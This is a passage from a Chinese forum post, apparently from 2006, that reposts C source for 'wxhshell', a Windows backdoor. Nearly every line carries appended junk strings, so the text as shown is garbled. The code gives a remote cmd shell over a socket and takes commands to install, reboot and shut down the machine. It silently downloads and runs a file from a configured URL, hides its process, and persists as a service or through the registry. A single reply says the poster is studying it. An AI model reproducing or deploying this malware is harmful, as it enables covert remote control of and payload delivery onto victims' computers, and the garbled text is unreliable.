  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HMDQEd;  
  else 7v\K,P8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?ra6Lo  
  } $#E?`At{I  
  else { eTVI.B@p  
qo{2 CYG\+  
    switch(cmd[0]) { 29#&q`J  
  PgZeDUPP  
  // 帮助 wa/ :JE  
  case '?': { g!%C_AI   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G,,c,  
    break; lB_&Lq 8G  
  } l'h[wwEXm{  
  // 安装 Q?]307g7  
  case 'i': { *p )1c_  
    if(Install()) p<%76H A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <~ E'% 60;  
    else m E<n=g=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m<]b]FQ  
    break; ^}nz^+R  
    } 96M?tTa  
  // 卸载 %heX06  
  case 'r': { [;O 6)W  
    if(Uninstall()) Ji %6/zV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'uAH, .B  
    else @k.j6LKbc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GMD>Ih.k:9  
    break; NKae~ 1b  
    } eLC}h %  
  // 显示 wxhshell 所在路径 NY]`1yy  
  case 'p': { @mM])V  
    char svExeFile[MAX_PATH]; r[ 2N;U  
    strcpy(svExeFile,"\n\r"); GWP;; x%  
      strcat(svExeFile,ExeFile); tTa" JXG  
        send(wsh,svExeFile,strlen(svExeFile),0); d3 h^L  
    break; i^hgs`hvU  
    } eO<:X|9T  
  // 重启 Ya$JX(aUe  
  case 'b': { ;Kb]v\C:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l+$ e|F  
    if(Boot(REBOOT)) $'M:H_T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^]=h#[e  
    else { >C|/%$kk:f  
    closesocket(wsh); WHh=ht s\  
    ExitThread(0); bvM\Qzc!<3  
    } N"d*pi#h  
    break; 6fxf|R\  
    } 9r@T"$V#c  
  // 关机 P(N$U^pj  
  case 'd': { F,B,D^WD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'k2Z$+  
    if(Boot(SHUTDOWN)) JpuF6mQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-#Y6U}b+  
    else { \W73W_P&g  
    closesocket(wsh); # f~,8<K  
    ExitThread(0); G(piq4D  
    } UMe@[E=  
    break; ;1`NsYI2  
    } Gx75EQ2  
  // 获取shell jtWI@04o09  
  case 's': { w`~j(G4N  
    CmdShell(wsh); x@EEMO1_"  
    closesocket(wsh); Rb_HD  
    ExitThread(0); neC]\B[Xm  
    break; +*OY%;dQ7@  
  } 4qw&G  
  // 退出 ti`R  
  case 'x': { (^h47kY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y@!kp*0  
    CloseIt(wsh); 0q_Ol]<V  
    break; zw=as9z1-  
    } #^IEQZgH  
  // 离开 9HI9([Cs  
  case 'q': { 8YI.f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,^JP0Vc*  
    closesocket(wsh); 7 R1;'/;  
    WSACleanup(); 8.vPh  
    exit(1); GvQ|+vC  
    break; %;,D:Tv=&  
        } |0Kj0u8T  
  } Q!DQ!;Br6  
  } m4:b?[  
F8 4LMk?U  
  // 提示信息 :z=/z!5:j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c9e  }P  
} dO Y+| P\  
  } h[d|y_)f  
IQK__)  
  return; D_E^%Ea&`  
} K%h83tm+  
Q"]C" ?  
// shell模块句柄 )F;[  
int CmdShell(SOCKET sock) 5utMZ>%w_#  
{ hk"^3d!  
STARTUPINFO si; &Vi"m!Bf  
ZeroMemory(&si,sizeof(si)); MS Ui_|7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZgO7W]Z4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l7 D/ ]&  
PROCESS_INFORMATION ProcessInfo; ?9q{b\=l  
char cmdline[]="cmd"; z41 p $  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;F@dN,Y  
  return 0; ,cm;A'4]  
} DBi3 j  
v ~73  
// 自身启动模式 5Am*1S^  
int StartFromService(void) $UlA_l29  
{ x@ bZ((w  
typedef struct WU1 I>i  
{ F' ZLN]"{  
  DWORD ExitStatus; .ao'o,|vE  
  DWORD PebBaseAddress; 5v8&C2Jy@  
  DWORD AffinityMask; Ch ` Omq  
  DWORD BasePriority; (mHFyEG  
  ULONG UniqueProcessId; m,e1:Nk<  
  ULONG InheritedFromUniqueProcessId; <wTkPErUG  
}   PROCESS_BASIC_INFORMATION; ,2?"W8,  
DSix(bs9  
PROCNTQSIP NtQueryInformationProcess; 7<{Zq8)  
 6<A\U/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )|/t}|DIx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /= P!9d {  
Ov%9S/d  
  HANDLE             hProcess; /B!"\0G/,  
  PROCESS_BASIC_INFORMATION pbi; \~nUk7.  
nLkC-+$tM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wP/rR D6  
  if(NULL == hInst ) return 0; &K k+RHM  
,K7C2PV6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yo V"?W>!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GMOv$Tn-_L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {U=za1Ga  
uXeBOLC  
  if (!NtQueryInformationProcess) return 0; FQi"OZHq  
RCNqHYR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V&KH{j/P  
  if(!hProcess) return 0; xPqpNs-,  
Z<y +D-/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |6\ ?"#  
_}Jz_RS2`  
  CloseHandle(hProcess); Yl1@ gw7  
zEY Ey1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >T~{_|N  
if(hProcess==NULL) return 0; l;Zc[6  
8%7H F:  
HMODULE hMod; n<yV]i$  
char procName[255]; TO[5h Y\  
unsigned long cbNeeded; wSIt"g,%  
4$.UVW\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) !ZA.sx  
R|!4Y`  
  CloseHandle(hProcess); w _eu@R:u@  
CNcH)2Mk  
if(strstr(procName,"services")) return 1; // 以服务启动 aqs']  
Q8Usyc'3  
  return 0; // 注册表启动 F>A-+]X3o  
} IG +nrTY0  
sutj G`m  
// 主模块 snj4MA@I]  
int StartWxhshell(LPSTR lpCmdLine) zGZe|-  
{ S%&l(=0X  
  SOCKET wsl; O0b8wpF f  
BOOL val=TRUE; 9>@_};l  
  int port=0; l W&glU(  
  struct sockaddr_in door; pfAp2"  
8qBRO[  
  if(wscfg.ws_autoins) Install(); *JO"8iLw  
XA9$n_| bw  
port=atoi(lpCmdLine); +}4vdi"  
,O a)  
if(port<=0) port=wscfg.ws_port; @uY%;%Pa8  
g;]2'Rj  
  WSADATA data; aDza"Ln  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 94nvh:n  
m !;mEBL{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @ n;WVG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~n"V0!:'4  
  door.sin_family = AF_INET; a3Es7R+S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $ Qg81mu  
  door.sin_port = htons(port); mq'q@@:c  
6t]oSxN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P'ZWAxd  
closesocket(wsl); m/Yi;>I(  
return 1; 'U}i<^,c  
} GUat~[lUrj  
|Z 3POD"9  
  if(listen(wsl,2) == INVALID_SOCKET) { 8agd{bxU  
closesocket(wsl); AW> P\>{RE  
return 1; NV9=~c x  
} C UBcU  
  Wxhshell(wsl); *+p'CfsSka  
  WSACleanup(); d2X#_(+d  
V=(4 c  
return 0;  ]g?G 0m  
MiOSSl};  
} zi*D8!_C  
e4CG=K3s  
// 以NT服务方式启动 %_tL}m{?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e1&c_"TOih  
{ 5-u=ZB%p  
DWORD   status = 0; , st4K;-  
  DWORD   specificError = 0xfffffff; B u4N~0  
*QLl jGe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4\s S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d G:=tf&1R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >b*Pd *f  
  serviceStatus.dwWin32ExitCode     = 0; |Ca$>]?  
  serviceStatus.dwServiceSpecificExitCode = 0; {8I93]  
  serviceStatus.dwCheckPoint       = 0; 2?-}(F;Z  
  serviceStatus.dwWaitHint       = 0; "t_]Qu6  
hr6f}2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); toIljca  
  if (hServiceStatusHandle==0) return; Ii|<:BW  
}P}l4k1W  
status = GetLastError(); p3x(:=   
  if (status!=NO_ERROR) ?6j@EJ<2q  
{ $g|g}>Sc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c1n? @L  
    serviceStatus.dwCheckPoint       = 0; 7CG_UB  
    serviceStatus.dwWaitHint       = 0; |Z2_1( ku  
    serviceStatus.dwWin32ExitCode     = status; Ld`~^<B  
    serviceStatus.dwServiceSpecificExitCode = specificError; )XO2DY1/&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P$4?-AZ  
    return; 9@vY(k k  
  } pbm4C0W}  
j<L!ONvJ1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mu:*(P/  
  serviceStatus.dwCheckPoint       = 0; #lVVSrF,-  
  serviceStatus.dwWaitHint       = 0; OH=Ffy F,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PwDQ<   
} qVM]$V#e  
$<33E e:a  
// 处理NT服务事件,比如:启动、停止 Uc9Uj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6K<vyr40  
{ FP9ZOoog  
switch(fdwControl) OB$A"XGAEV  
{ tU)+q?Mw  
case SERVICE_CONTROL_STOP: [9+M/O|Vs  
  serviceStatus.dwWin32ExitCode = 0; 4L5Wa~5\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6'wP?=  
  serviceStatus.dwCheckPoint   = 0; m&ZdtB|  
  serviceStatus.dwWaitHint     = 0; *4(.=k  
  { Qgf_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ied<1[~S  
  } R`$Odplh>  
  return; HDy[/7"  
case SERVICE_CONTROL_PAUSE: |`O7> (h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F` ?pZ  
  break; Za01z^  
case SERVICE_CONTROL_CONTINUE: o} %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6s|C:1](b  
  break; O9>/ WmLe  
case SERVICE_CONTROL_INTERROGATE: CF>NyY:_  
  break; iWtWT1n8n  
}; E|^a7-}|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9'4cqR  
} oEi +S)_  
m X2Qf8  
// 标准应用程序主函数 ;2X1qw>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xSLN  
{ wL%>  
zizrc.g/Yg  
// 获取操作系统版本 v.Q)Obyn  
OsIsNt=GetOsVer(); TAGqRYgi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &_-~kU1K^  
1P[!B[;c  
  // 从命令行安装 4s$))x9p  
  if(strpbrk(lpCmdLine,"iI")) Install(); da 2BQ;  
!A<?nz Uv  
  // 下载执行文件 g\jdR_/  
if(wscfg.ws_downexe) { >eU;lru2Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }S42.f.p  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7v\OS-  
} khEHMvVH  
h<uRlTk  
if(!OsIsNt) { W~7q&||;C  
// 如果时win9x,隐藏进程并且设置为注册表启动 u|w[ b9^r  
HideProc(); d ch(HB}[  
StartWxhshell(lpCmdLine); cPtP?)38.  
} hy6px  
else #FeM.k6  
  if(StartFromService()) mirMDJsl%  
  // 以服务方式启动 Z~P5SEg  
  StartServiceCtrlDispatcher(DispatchTable); (2a~gQGD  
else "2Ye\#BU6  
  // 普通方式启动 D%BV83S   
  StartWxhshell(lpCmdLine); fC81(5   
5SK.R;mn  
return 0; -$mzzYH  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八